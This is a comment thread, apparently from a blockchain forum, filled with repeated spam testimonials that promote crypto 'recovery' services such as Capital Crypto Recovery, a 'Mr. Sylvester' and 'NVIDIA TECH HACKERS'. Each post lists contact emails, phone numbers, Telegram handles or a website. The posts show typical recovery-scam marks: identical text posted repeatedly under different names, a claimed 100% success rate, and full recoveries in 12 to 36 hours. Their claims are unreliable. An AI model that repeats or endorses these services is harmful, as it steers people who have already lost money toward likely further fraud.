    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon